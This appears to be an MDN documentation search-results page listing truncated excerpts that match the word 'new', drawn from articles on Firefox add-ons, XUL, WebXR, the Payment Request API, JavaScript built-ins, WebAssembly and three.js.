...e. once you've supplied a value or accepted the default for these properties, you'll be shown the complete contents of "package.json" and asked to accept it. then jpm creates a skeleton add-on, as a starting point for your add-on development, with the following file structure: my-addon index.js package.json test test-index.js jpm run this command runs a
new instance of firefox with the add-on installed: jpm run jpm run accepts the following options: -b --binary binary use the version of firefox specified in binary. binary may be specified as a full path or as a path relative to the current directory. jpm run -b /path/to/firefox/nightly see selecting a browser version. --binary-args cmdargs pass extra arg...
...And 9 more matches
Mozilla Crypto FAQ - Archive of obsolete content
note that this document is for your information only and is not intended as legal advice. if you wish to develop and distribute cryptographic software, particularly for commercial sale or distribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction. ...
...ribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction. i've updated this version of the mozilla crypto faq to discuss the situation now that the rsa public key algorithm is in the public domain and a full open source crypto implementation is being added to the mozilla code base. information in the faq also reflects the
new u.s. encryption export regulations published on january 14, 2000, the release on february 11, 2000, of source code for ssl, s/mime, and general pki functionality for use in the mozilla project, and the "bernstein advisory" issued by the bureau of export administration on february 17, 2000. the questions in this faq address mozilla's support for encryption and related security functionality, info...
...cryptographic algorithms. on september 6, 2000, rsa security released the rsa patent into the public domain, two weeks before the patent was scheduled to expire (on september 20, 2000). shortly thereafter the nss developers began work on an open source implementation of the rsa algorithm; that code, together with code previously developed for other cryptographic algorithms, will be included in a
new version 3.1 of the nss open source cryptographic and pki library. this
new rsa-capable version of nss will then be included in a future version of the open source psm software, which will provide ssl support for mozilla. at that point both nss and psm will be completely buildable using the open source code available from the mozilla.org site, and nss and psm will be included in the mozilla binar...
...And 9 more matches
Space Manager Detailed Design - Archive of obsolete content
nded to be subclasses . here is the class declaration, taken from the source file as of 01.08.02 /** * class for dealing with bands of available space. the space manager * defines a coordinate space with an origin at (0, 0) that grows down * and to the right. */ class nsspacemanager { public: nsspacemanager(nsipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); void* operator
new(size_t asize); void operator delete(void* aptr, size_t asize); static void shutdown(); /* * get the frame that's associated with the space manager. this frame * created the space manager, and the world coordinate space is * relative to this frame. * * you can use queryinterface() on this frame to get any additional * interfaces. */ nsiframe* getframe() const { retur...
... * get the frame that's associated with the space manager. this frame * created the space manager, and the world coordinate space is * relative to this frame. * * you can use queryinterface() on this frame to get any additional * interfaces. */ nsiframe* getframe() const { return mframe; } /** * translate the current origin by the specified (dx, dy). this * creates a
new local coordinate space relative to the current * coordinate space. */ void translate(nscoord adx, nscoord ady) { mx += adx; my += ady; } /** * returns the current translation from local coordinate space to * world coordinate space. this represents the accumulated calls to * translate(). */ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** ...
...link(this);} bandrect* prev() const {return (bandrect*)pr_prev_link(this);} void insertbefore(bandrect* abandrect) {pr_insert_before(abandrect, this);} void insertafter(bandrect* abandrect) {pr_insert_after(abandrect, this);} void remove() {pr_remove_link(this);} // split the band rect into two vertically, with this band rect becoming // the top part, and a
new band rect being allocated and returned for the // bottom part // // does not insert the
new band rect into the linked list bandrect* splitvertically(nscoord abottom); // split the band rect into two horizontally, with this band rect becoming // the left part, and a
new band rect being allocated and returned for the // right part // // does not insert the
new b...
...And 9 more matches
Creating XPI Installer Modules - Archive of obsolete content
introduction this article is rather old and only applies to mozilla suite and seamonkey (until it gets converted to toolkit). addons for various toolkit applications, such as firefox or thunderbird, should be packaged in a different way. mozilla has introduced major changes to the way that themes and all the other parts of the ui are packaged. this
new packaging scheme is called xpi (pronounced "zippy"), and interacts with xpinstall. a xpi file typically contains the resources to be installed (in this case the barley.jar we want to have installed in the mozilla/bin/chrome/ directory) and an install script that guides the installation process. under the chrome/ directory, you'll notice that in addition to the package subdirectories, there are now also a handful of jar files, or jav...
... chrome.rdf chromelist.txt classic/ classic.jar comm/ comm.jar content-packs/ content-packs.jar embed-sample/ embed-sample.jar en-us/ en-us.jar en-mac/ en-mac.jar en-unix/ en-unix.jar en-win/ en-win.jar help/ help.jar inspector/ inspector.jar installed-chrome.txt messenger/ messenger.jar ... in addition to these jar files, there are also several
new rdf files. these
new files represent a redesign of the way that the mozilla ui is packaged and installed. though the chrome directory still includes subdirectories of uncompressed files by default, a
new way to aggregate and distribute the files has improved performance, made the ui components more portable and easier to install, and made the installation process a much easier one. however, this ...
... rdf files. these
new files represent a redesign of the way that the mozilla ui is packaged and installed. though the chrome directory still includes subdirectories of uncompressed files by default, a
new way to aggregate and distribute the files has improved performance, made the ui components more portable and easier to install, and made the installation process a much easier one. however, this
new arrangement does not make things much easier for the web or user interface developer. the relatively simple process of finding the appropriate resources (i.e. xul, javascript, or css files) in the chrome subdirectories and editing them with a text editor has been replaced by something a lot of developers find more confusing and esoteric. ...
...And 9 more matches
What is RSS - Archive of obsolete content
files, but you will be seeing how rss is commonly used and simple example rss files for these common uses. you will also be getting a little history on rss. what is rss? the most popular versions of rss are xml-based markup languages used for syndication. (although rdf-based rss formats exist, namely the deprecated rss 0.90 and rss 1.0.) common uses of rss syndication are for the syndication of
news web sites, of blogs, of internet radio, and of internet television. this tutorial teaches rss 2.0, but makes an effort to point out issues with other versions of rss. rss is almost never written by hand; it is almost always created by server-side software (usually written in a language like php, java, c#, or python) on the web server. however, so that we can learn rss, we will be creating rss ...
...and for rdf site summary (at least, this is what it stood for in their version of rss). so at this point we had netscape's rss 0.91, userland's rss 0.91, and the rss-dev working group's rss 1.0. later that same december userland released rss 0.92. rss 0.92 was meant to replace userland's rss 0.91. if you notice though, the rss versioning number got all messed up at this point, since rss 0.92 is
newer than rss 1.0. so at this point we had netscape's rss 0.91, the rss-dev working group's rss 1.0, and userland's rss 0.92. in april 2001 userland released a draft for rss 0.93. this version of rss was never made "final" so it remained only a draft, and never became a replacement for userland's rss 0.92. in august 2002 userland released a draft for rss 0.94. like rss 0.93, this version of rss w...
...ly giving everyone permission to use the contents in you rss feed in almost any way they see fit. they can read it. they can make local copies of it. they can share that local copy. they can put it on their website. they can even re-syndicate it. and more. if you don't want any of that done, then don't put it in a non-password-protected rss feed, and, of course, don't make the password public. ...
...And 9 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
is an extension of javascript which provides direct support for xml, greatly simplifying the process of consuming xml via javascript. rhino’s support of this important standard eliminates the pain of using dom or sax based parsers in java. listing 3 below details a script used to process an rss feed from the mozilla website. ...
...ch provides direct support for xml, greatly simplifying the process of consuming xml via javascript. rhino’s support of this important standard eliminates the pain of using dom or sax based parsers in java. listing 3 below details a script used to process an rss feed from the mozilla website. ...
...a javascript. rhino’s support of this important standard eliminates the pain of using dom or sax based parsers in java. listing 3 below details a script used to process an rss feed from the mozilla website. ...
...And 9 more matches
Building the WebLock UI
lock.xul defines the web lock manager dialog. weblock.css provides style rules for both of the xul files. weblock.js provides javascript functions for both of the xul files. each of these files is described briefly in the sections below. ...
...the overlay section, where we discuss how to import scripts, images, and other resources from mozilla into your own ui, is by far the more complicated of the two. ...
...s above. as you can see, weblock is initialized as a global javascript variable, available in the scope of these functions and others: var weblock = components.classes["@dougt/weblock"] .getservice() .queryinterface(components.interfaces.iweblock); in addition to this basic setup, you must also write javascript that uses the addsite method to add
new sites to the white list. this is a bit more complicated, because it requires that you work with the currently loaded page or provide other ui (e.g., a textfield where you can enter an arbitrary url) for specifying urls. in the xul section we'll go into how the user interface is defined. this section describes the functions that are called from the interface and how they interact with the weblock ...
...And 9 more matches
nsIMsgIncomingServer
add brief description of interface ??? ...
...ring attr); acstring getcharattribute(in string name); acstring getcharvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder afolderresource, in acstring auri); void get
newmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean is
newhdrduplicate(in nsimsgdbhdr a
newhdr); void onuserorhostnamechang...
... nsimsgwindow amsgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean is
newhdrduplicate(in nsimsgdbhdr a
newhdr); void onuserorhostnamechanged(in acstring oldname, in acstring
newname); void performbiff(in nsimsgwindow amsgwindow); void performexpand(in nsimsgwindow amsgwindow); void removefiles(); void setboolattribute(in string name, in boolean value); void setboolvalue(in string attr, in boolean value); void setcharattribute(in string name, in acstring value); void setcharvalue(in string attr, in acstring value); void setdefaultlocalpath(in nsilocalfile ...
...And 9 more matches
Add to iPhoto
of the key apis we declare for core foundation, to see how it's done. cfrange cfrange is a structure that identifies a range; that is, it identifies an offset to an item in a list and a number of items. in c, the declaration looks like this: typedef struct { cfindex location; cfindex length; } cfrange; to declare this for use with js-ctypes, we use the following code: this.cfrange =
new ctypes.structtype("cfrange", [ {'location': ctypes.int32_t}, {'length': ctypes.int32_t}]); this defines corefoundation.cfrange to represent this data type, comprised of two 32-bit integer fields called location and length. generic cftype routines all core foundation data types are based upon a core cftype data type. basic cftype routines handle memory...
...hat contains a string. the string can be stored in any of a number of encodings, so you use assorted functions that know how to cope with different encodings to set and get values of cfstrings, as well as to perform typical string operations. the first declaration to be done here is to actually declare the cfstringref data type; this is an opaque pointer to a cfstring object. ...
...ef =
new ctypes.pointertype("cfstringref"); now that we've declared the core type, we can declare the methods we use that work with cfstring objects. let's take a look at one of these. ...
...And 9 more matches
URLs - Plugins
displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail. uniform resource locator (url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp,
news, mailto, and gopher. the table below summarizes urls supported by gecko. in addition, gecko may support urls not listed on this table. url scheme description about locates browser information or "fun" pages. file (host-specific filenames) locates files on a specific host computer rather than an internet resource. ftp (file transfer protocol) loca...
...obsolete since gecko 2.0 http (hypertext transfer protocol) locates resources on the internet. javascript executes javascript code that follows the url. netscape-specific. mailto (electronic mail address) locates the internet mailing address of an individual or service. nethelp displays a nethelp topic in a nethelp window. browser-specific.
news (usenet
news) locates usenet
news groups or individual usenet articles. nntp (usenet
news using nntp access) locates usenet
news groups or individual usenet articles; alternate to
news. prospero (prospero directory service) locates a resource on a prospero directory server. telnet (reference to interactive sessions) locates an interactive service. ...
...eve a url and display it on a specified target page, use the npn_geturl, npn_geturlnotify, and npp_urlnotify functions. this section describes the methods and procedures used for getting the url and displaying the page. the plug-in uses the npn_geturl function to ask the browser to display data retrieved from a url in a specified target window or frame, or deliver it to the plug-in instance in a
new stream. this is the way that plug-ins provide hyperlinks to other documents or retrieve data from the network. if the browser cannot locate the url and retrieve the data, it does not create a stream for the instance; in this case, the plug-in receives notification of the result. to request a stream and receive notification of the result in all cases, use npn_geturlnotify. for http urls, the bro...
...And 9 more matches
DevTools API - Firefox Developer Tools
ion and to access tool instances. an instance of a tool is called a toolpanel. the toolpanel is built only when the tool is selected (not when the toolbox is opened). there is no way to "close/destroy" a toolpanel. the only way to close a toolpanel is to close its containing toolbox. all these objects implement the eventemitter interface. api gdevtools the gdevtools api can be used to register
new tools, themes and handle toolboxes for different tabs and windows. to use the gdevtools api from an add-on, it can be imported with following snippet const { gdevtools } = require("resource:///modules/devtools/gdevtools.jsm"); methods registertool(tooldefinition) registers a
new tool and adds a tab to each existing toolbox. parameters: tooldefinition {tooldefinition} - an object that ...
...ch existing toolbox. parameters: tooldefinition {tooldefinition} - an object that contains information about the tool. see tooldefinition for details. unregistertool(tool) unregisters the given tool and removes it from all toolboxes. parameters: tool {tooldefinition|string} - the tool definition object or the id of the tool to unregister. ...
... parameters: target {target} - the target the toolbox will debug. toolid {string} - the tool that should be activated. if unspecified the previously active tool is shown. hosttype {string} - the position the toolbox will be placed. one of bottom, side, window, custom. see hosttype for details. ...
...And 9 more matches
DOMMatrixReadOnly - Web APIs
iases for specific components of a 4×4 matrix, as shown below. 2d 3d equivalent a m11 b m12 c m21 d m22 e m41 f m42 methods this interface doesn't inherit any methods. none of the following methods alter the original matrix. dommatrixreadonly.flipx() returns a
new dommatrix created by flipping the source matrix around its x-axis. this is equivalent to multiplying the matrix by dommatrix(-1, 0, 0, 1, 0, 0). the original matrix is not modified. dommatrixreadonly.flipy() returns a
new dommatrix created by flipping the source matrix around its y-axis. this is equivalent to multiplying the matrix by dommatrix(1, 0, 0, -1, 0, 0). the original matrix is not m...
...around its x-axis. this is equivalent to multiplying the matrix by dommatrix(-1, 0, 0, 1, 0, 0). the original matrix is not modified. dommatrixreadonly.flipy() returns a
new dommatrix created by flipping the source matrix around its y-axis. this is equivalent to multiplying the matrix by dommatrix(1, 0, 0, -1, 0, 0). the original matrix is not modified. dommatrixreadonly.inverse() returns a
new dommatrix created by inverting the source matrix. if the matrix cannot be inverted, the
new matrix's components are all set to nan and its is2d property is set to false. the original matrix is not altered. dommatrixreadonly.multiply() returns a
new dommatrix created by computing the dot product of the source matrix and the specified matrix: a⋅b. if no matrix is specified as the multiplier, th...
...ting the dot product of the source matrix and the specified matrix: a⋅b. if no matrix is specified as the multiplier, the matrix is multiplied by a matrix in which every element is 0 except the bottom-right corner and the element immediately above and to its left: m33 and m34. these have the default value of 1. the original matrix is not modified. ...
...And 9 more matches
Using the Payment Request API - Web APIs
and platforms to merchants that they want to pay for goods and services. this article is a guide to making use of the payment request api, with examples and suggested best practices. the basics of making a payment this section details the basics of using the payment request api to make a payment. note: the code snippets from this section are from our feature detect support demo. creating a
new payment request object a payment request always starts with the creation of a
new paymentrequest object — using the paymentrequest() constructor. this takes two mandatory parameters and one option parameter: methoddata — an object containing information concerning the payment provider, such as what payment methods are supported, etc. details — an object containing information concernin...
...ter: methoddata — an object containing information concerning the payment provider, such as what payment methods are supported, etc. details — an object containing information concerning the specific payment, such as the total payment amount, tax, shipping cost, etc. options (optional) — an object containing addtional options related to the payment. ...
...ion concerning the payment provider, such as what payment methods are supported, etc. details — an object containing information concerning the specific payment, such as the total payment amount, tax, shipping cost, etc. options (optional) — an object containing addtional options related to the payment. ...
...And 9 more matches
Inputs and input sources - Web APIs
put profiles below, and a more complete guide may be found in our article using webxr input profiles. transient input sources some devices may create transient input sources to be used in tandem with an action which doesn't really come from that device, but is being presented as if it is. for example, if an xr device provides a mode in which the mouse is used to simulate events on the device, a
new xrinputsource object might be created to represent the simulated input source for the duration of handling the action. this is necessary because of the separation that's maintained between standard input devices and xr input sources. an artificial source is used to represent the external source for the duration of each transient action. managing input sources when multiple input sources are av...
... xrsession object has an inputsources property which is a live list of the webxr input devices currently connected to the xr system. let inputsourcelist = xrsession.inputsources; due to the fact that the contents of the xrinputsource objects representing each input source in the list are read-only, changes to these inputs are made by the webxr system by deleting the source's record and adding a
new one to replace it. an inputsourceschange event is sent to your xrsession whenever one or more of the input sources change, or when an input source is added to or removed from the list. for example, if you need to keep up with which controller is held in each of the player's hands, you might do something like this: let inputsourcelist = null; let lefthandsource = null; let righthandsource = null...
...tion callback first completes execution, so you can use it to fetch the input source list as soon as it's available at startup time. the event is delivered as an xrinputsourcechangeevent, which includes three properties of interest: session the xrsession for which the input sources have changed. added an array of zero or more xrinputsource objects indicating the input sources that have been
newly added to the xr system. removed an array of zero or more xrinputsource objects indicating any input sources that have been removed from the xr system. identifying the input's profile each input source has a profiles property, which contains a live list of the webxr input profiles which apply to the input source, in order of specificity from most-specific to least. in order to do anything ...
...And 9 more matches
Starting up and shutting down a WebXR session - Web APIs
ailable for use by your document through the the navigator property xr, which returns the xrsystem object if suitable xr hardware is available for your use given the hardware available and your document's environment. thus the simplest code that fetches the xrsystem object is: const xr = navigator.xr; the value of xr will be null or undefined if webxr isn't available. webxr availability as a
new and still in development api, webxr support is limited to specific devices and browsers; and even on those, it may not be enabled by default. there may be options available to allow you to experiment with webxr even if you don't have a compatible system, however. webxr polyfill the team designing the webxr specification has published a webxr polyfill which you can use to simulate webxr on brows...
...tained alongside the specification, and is kept up to date with the specification. additionally, it is updated to maintain compatibility with browsers as their support for webxr and other technologies related to it and to the implementation of the polyfill change over time. be sure to read the readme carefully; the polyfill comes in several versions depending on what degree of compatibility with
newer javascript features your target browsers include. webxr api emulator extension the mozilla webxr team has created a webxr api emulator browser extension, compatible with both firefox and chrome, which emulates the webxr api, simulating a variety of compatible devices such as the htc vive, the oculus go and oculus quest, samsung gear, and google cardboard. with the extension in place, you can ...
...atively available. here we define a getxr() function, which returns the xrsystem object after optionally installing the polyfill, assuming that the polyfill has been included or loaded using a prior <script> tag. ...
...And 9 more matches
HTML5 - Developer guides
html5 is the latest evolution of the standard that defines html. the term represents two different concepts. it is a
new version of the language html, with
new elements, attributes, and behaviors, and a larger set of technologies that allows the building of more diverse and powerful web sites and applications. this set is sometimes called html5 & friends and often shortened to just html5. designed to be usable by all open web developers, this reference page links to numerous resources about html5 technologies, classified into several groups based on their function. semantics: allowing you to describe more precisely what your content is. connectivity: allowing you to communicate with the server in
new and innovative ways. offline and storage: allowing webpages to store data on th...
...n web. 2d/3d graphics and effects: allowing a much more diverse range of presentation options. performance and integration: providing greater speed optimization and better usage of computer hardware. device access: allowing for the usage of various input and output devices. styling: letting authors write more sophisticated themes. ...
...e access: allowing for the usage of various input and output devices. styling: letting authors write more sophisticated themes. semantics sections and outlines in html5 a look at the
new outlining and sectioning elements in html5: <section>, <article>, <nav>, <header>, <footer> and <aside>. using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of
new multimedia content. forms improvements a look at the constraint validation api, several
new attributes,
new values for the <input> attribute type and the
new <output> element. ...
...And 9 more matches
Date - JavaScript
read more about it on the igalia blog and fill out the survey. it needs real-world feedback from web developers, but is not yet ready for production use! description the ecmascript epoch and timestamps a javascript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on january 1, 1970, utc. ...
...es london—and nearby greenwich—in the united kingdom.) the user's device provides the local time. in addition to methods to read and alter individual components of the local date and time (such as getday() and sethours()), there are also versions of the same methods that read and manipulate the date and time using utc (such as getutcday() and setutchours()). constructor date() creates a
new date object. static methods date.now() returns the numeric value corresponding to the current time—the number of milliseconds elapsed since january 1, 1970 00:00:00 utc, with leap seconds ignored. date.parse() parses a string representation of a date and returns the number of milliseconds since 1 january, 1970, 00:00:00 utc, with leap seconds ignored. note: parsing of strings with da...
...() returns the primitive value of a date object. overrides the object.prototype.valueof() method. examples several ways to create a date object the following examples show several ways to create javascript dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. ...
...And 9 more matches
Function.prototype.apply() - JavaScript
gle array of arguments. note: when the first argument is undefined or null a similar outcome can be achieved using the array spread syntax. you can assign a different this object when calling an existing function. this refers to the current object (the calling object). with apply, you can write a method once, and then inherit it in another object, without having to rewrite the method for the
new object. apply is very similar to call(), except for the type of arguments it supports. you use an arguments array instead of a list of arguments (parameters). with apply, you can also use an array literal, for example, func.apply(this, ['eat', 'bananas']), or an array object, for example, func.apply(this,
new array('eat', 'bananas')). you can also use arguments for the argsarray parameter. argu...
...ments, you can also push multiple elements at once. but, if you pass an array to push, it will actually add that array as a single element, instead of adding the elements individually. so you end up with an array inside an array. what if that is not what you want? concat does have the desired behaviour in this case, but it does not append to the existing array—it instead creates and returns a
new array. but you wanted to append to the existing array... so what now? write a loop? surely not? apply to the rescue! const array = ['a', 'b']; const elements = [0, 1, 2]; array.push.apply(array, elements); console.info(array); // ["a", "b", 0, 1, 2] using apply and built-in functions clever usage of apply allows you to use built-in functions for some tasks that would probably have otherwise...
...rn min; } let min = minofarray([5, 6, 2, 3, 7]); using apply to chain constructors you can use apply to chain constructors for an object (similar to java). in the following example we will create a global function method called construct, which will enable you to use an array-like object with a constructor instead of an arguments list. ...
...And 9 more matches
Int8Array() constructor - JavaScript
the int8array() constructor creates a typed array of twos-complement 8-bit signed integers. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). ...
... the int8array() constructor creates a typed array of twos-complement 8-bit signed integers. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). ...
... the int8array() constructor creates a typed array of twos-complement 8-bit signed integers. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). ...
...And 9 more matches
Using the WebAssembly JavaScript API - WebAssembly
read webassembly concepts first, then come back. some simple examples let’s run through some examples that explain how to use the webassembly javascript api, and how to use it to load a wasm module in a web page. note: you can find the sample code in our webassembly-examples github repo. preparing the example first we need a wasm module! grab our simple.wasm file and save a copy in a
new directory on your local machine. next, let’s create a simple html file called index.html in the same directory as your wasm file (can use our simple template if you haven’t got one easily available). now, to help us understand what is going on here, let’s look at the text representation of our wasm module (which we also meet in converting webassembly format to wasm): (module (func $i ...
...space — the internal function $i is imported from imports.imported_func. we need to reflect this two-level namespace in javascript when writing the object to be imported into the wasm module. create a <script></script> element in your html file, and add the following code to it: var importobject = { imports: { imported_func: arg => console.log(arg) } }; streaming the webassembly module
new in firefox 58 is the ability to compile and instantiate webassembly modules directly from underlying sources. this is achieved using the webassembly.compilestreaming() and webassembly.instantiatestreaming() methods. these methods are easier than their non-streaming counterparts, because they can turn the byte code directly into module/instance instances, cutting out the need to separately put the...
...ange spans the entire process, the memory accessible by a particular webassembly instance is confined to one specific — potentially very small — range contained by a webassembly memory object. this allows a single web app to use multiple independent libraries — each of which are using webassembly internally — to have separate memories that are fully isolated from each other. in addition,
newer implementations can also create shared memories, which can be transferred between window and worker contexts using postmessage(), and used in multiple places. in javascript, a memory instance can be thought of as a resizable arraybuffer (or sharedarraybuffer, in the case of shared memories) and, just as with arraybuffers, a single web app can create many independent memory objects. you can cr...
...And 9 more matches
ui/button/action - Archive of obsolete content
you can add a "badge" to a button using its badge property. this can be a number or a string, and you can update it at any time. by default the badge's color is red, but you can set your own color using the badgecolor property, specified as a css <color> value: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", label: "...
...on64.png" // menu panel icon hidpi } optional options: name type disabled boolean determines whether the button is disabled. disabled buttons appear disabled in the ui, and do not respond to clicks. defaults to false. onclick function click handler for the button. badge number or string
new in firefox 36. badge to attach to the button. the badge can contain as many characters (or digits) as you like, but only the first four will be displayed. badgecolor css <color> value
new in firefox 36. color for the badge. if badgecolor is omitted and badge is specified, then the badge is red. actionbutton methods click() click ...
...ab-specific label" }); to fetch the button state for a specific window or tab, call state(), passing it the window or tab you're interested in, and it will return a state object containing all the properties for the button associated with that window or tab. again. you can use the strings "window" or "tab" as shortcuts. ...
...And 8 more matches
ui/toolbar - Archive of obsolete content
showing and hiding toolbars by default, a toolbar is shown when it is created, although you can specify that a toolbar should be hidden initially by passing hidden:true...
...how or hide the toolbar programmatically. toolbars get a close button at the right-hand side, and users can show or hide the toolbar using the firefox "view/toolbars" menu, alongside built-in toolbars like the bookmarks toolbar. hidden state persists even over create/destroy cycles: if a toolbar is created, then hidden, then destroyed, and another toolbar with the same title is then created, the
new toolbar will be in the hidden state. toolbar events toolbars get attach and detach events when their content is loaded and unloaded, and show and hide events when the uses shows or hides them. working with multiple browser windows there's only a single toolbar for all browser windows, so operations like show and hide work across all browser windows. if you need to customize content for a part...
..., the items parameter must also be supplied, and must contain at least object. ...
...And 8 more matches
JavaScript Client API - Archive of obsolete content
young component and is continuing to evolve. therefore, developers outside of the sync core should know that their code could require significant refactoring in future releases. before developing against the javascript api, it is recommended to speak to developers of the api. see https://wiki.mozilla.org/services/sync for their contact information. to create a custom sync engine to synchronize a
new data you, you'll need to define an engine object that extends the base syncengine object. this involves writing types that extend the store, tracker, and record types as well. it will be very helpful to look at an existing sync engine for guidance. have a look at one of the following files: services/sync/modules/engines/bookmarks.js services/sync/modules/engines/history.js setting up a js ...
...utils.defergetset(foorec, "cleartext", ["bar", "baz"]); the store object the store object (which extends store, as defined in services/sync/modules/engines.js) has the job of creating and maintaining a set of record objects from the underlying data. the store must also make updates to the underlying data itself based on incoming record objects. the majority of the code you write for syncing a
new data type will most likely be in the store implementation. each record that the store keeps track of must be identified by a unique id (unique among all records in the store) called guid. depending of what type of data you're working with, you might already have guids built into your data that you can make use of (note that guids must be allowed to change and should be url friendly). if not, yo...
...led guid. depending of what type of data you're working with, you might already have guids built into your data that you can make use of (note that guids must be allowed to change and should be url friendly). if not, you may have to invent your own mapping from data objects to guids as long as it's consistent. ...
...And 8 more matches
Custom toolbar button - Archive of obsolete content
r the application, then go to the extensions directory there. note: for information about how to find the profile directory, see: profile folder explanation: the profile directory contains information specific to a user, keeping it separate from the application. if the application is reinstalled or upgraded, information in the profile is not affected. 2. in the extensions directory, create a
new directory with the following name. copy the name from here and paste it, to avoid typing errors: custom-toolbar-button@example.com perform the following steps in this
new directory, creating two files and a directory there. explanation: the name is a unique identifier for the extension. there is more information about identifiers in a later section of this tutorial. 3. create a plain tex...
...tton@example.com perform the following steps in this
new directory, creating two files and a directory there. explanation: the name is a unique identifier for the extension. there is more information about identifiers in a later section of this tutorial. 3. create a plain text file named install.rdf. copy the following content, making sure that you scroll to get all of it. ...
...you do not want. save the file. explanation: this file contains information used by the application's extension manager. sections for target applications specify the versions where the extension works. the last section in the file specifies that this extension adds content to the application. 4. create a plain text file named chrome.manifest. ...
...And 8 more matches
tabbrowser - Archive of obsolete content
except that multiple documents can be displayed, each in a separate tab. note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. ...
... type: id the id of a menupopup element serving as the context menu for the content area in the tabbrowser. contenttooltip type: id the id of a tooltip element to be used for the content area in the tabbrowser. onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" command. on
newtab not in firefox type: script code this script will be called when the
new tab button is clicked. tabmodalpromptshowing type: integer the number of tab modal prompts currently attached to the current tab. properties browsers type: nodelist of browser elements holds a list of the browser elements inside the tabbrowser. cangoback type: boolean this read-onl...
...e add a progress listener to the browser which will monitor loaded documents. the progress listener should implement the nsiwebprogresslistener interface. addtab( url, referreruri, charset, postdata, owner, allowthirdpartyfixup ) addtab( url, {referreruri: ..., charset: ..., postdata: ..., owner: ..., allowthirdpartyfixup: ..., relatedtocurrent: ... ...
...And 8 more matches
calICalendarViewController - Archive of obsolete content
e actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to this article. ...
...d a summary to this article. last changed in gecko ? interface code [scriptable, uuid(1f783898-f4c2-4b2d-972e-360e0de38237)] interface calicalendarviewcontroller : nsisupports { void create
newevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime a
newstarttime, in calidatetime a
newendtime); void deleteoccurrence (in caliitemoccurrence aoccurrence); }; methods create
newevent void create
newevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); the create
newevent method is used for creating a
new calievent in the calicalendar specified by the acalendar parameter. in many ca...
... if this parameter is specified. otherwise, it should be set to a default value, as determined by the application. the other values of the calievent (title, summary, alarm, etc) should likewise be set to defaults. if no astarttime is specified, then an event-creation dialog should be displayed. modifyoccurrence void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime a
newstarttime, in calidatetime a
newendtime); the modifyoccurrence method is used to change the attributes of an already existing caliitem. the calidatetime parameters must either both be specified, or neither. if they are both specified, aoccurrence should be modified 'silently', that is, without a more detailed dialog appearing. otherwise, a dialog should be display allowing the user to modif...
...And 8 more matches
Building up a basic demo with Three.js - Game development
t the width and height of the <canvas> element, that three.js will insert on the page to 100% to fill the entire available viewport space. the first <script> element includes the three.js library in the page, and we will write our example code inside the second. there are two helper variables already included, which store the window's width and height. before reading further, copy this code to a
new text file, and save it in your working directory as index.html. renderer a renderer is a tool which displays scenes right in your browser. there are a few different renderers: webgl is the default, and others you can use are canvas, svg, css, and dom. they differ in how everything is rendered, so the webgl implementation will implement differently than the css one. despite the variety of ways t...
...default, and others you can use are canvas, svg, css, and dom. they differ in how everything is rendered, so the webgl implementation will implement differently than the css one. despite the variety of ways they achieve the goal, the experience will look the same for the user. thanks to this approach, a fallback can be used, if a desired technology is not supported by the browser. var renderer =
new three.webglrenderer({antialias:true}); renderer.setsize(width, height); renderer.setclearcolor(0xdddddd, 1); document.body.appendchild(renderer.domelement); we are creating a
new webgl renderer, setting its size to fit the whole available space on the screen, and appending the dom structure to the page. you might have noticed the antialias parameter in the first line — this renders the edges ...
...m structure to the page. you might have noticed the antialias parameter in the first line — this renders the edges of shapes more smoothly. the setclearcolor() method sets our background to a light gray colour, instead of the default black one. add this code into our second <script> element, just below the javascript comment. scene a scene is the place where everything happens. when creating
new objects in the demo, we add them all inside the scene to become visible on the screen. in three.js, the scene is represented by a scene object. let's create it, by adding the following line below our previous lines: var scene =
new three.scene(); later, we will be using the .add() method, to add objects to this scene. camera we have the rendered scene, but we still need to add a camera to vi...
...And 8 more matches
Graceful asynchronous programming with Promises - Learn web development
this is useful for setting up a sequence of async operations to work correctly. this article shows you how promises work, how you'll see them in use with web apis, and how to write your own. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to understand promises and how to use them. ...
...e only need a single .catch() block to handle all the errors, it doesn't block the main thread (so we can keep playing video games while we wait for the pizza to be ready to collect), and each operation is guaranteed to wait for previous operations to complete before running. we're able to chain multiple asynchronous actions to occur one after another this way because each .then() block returns a
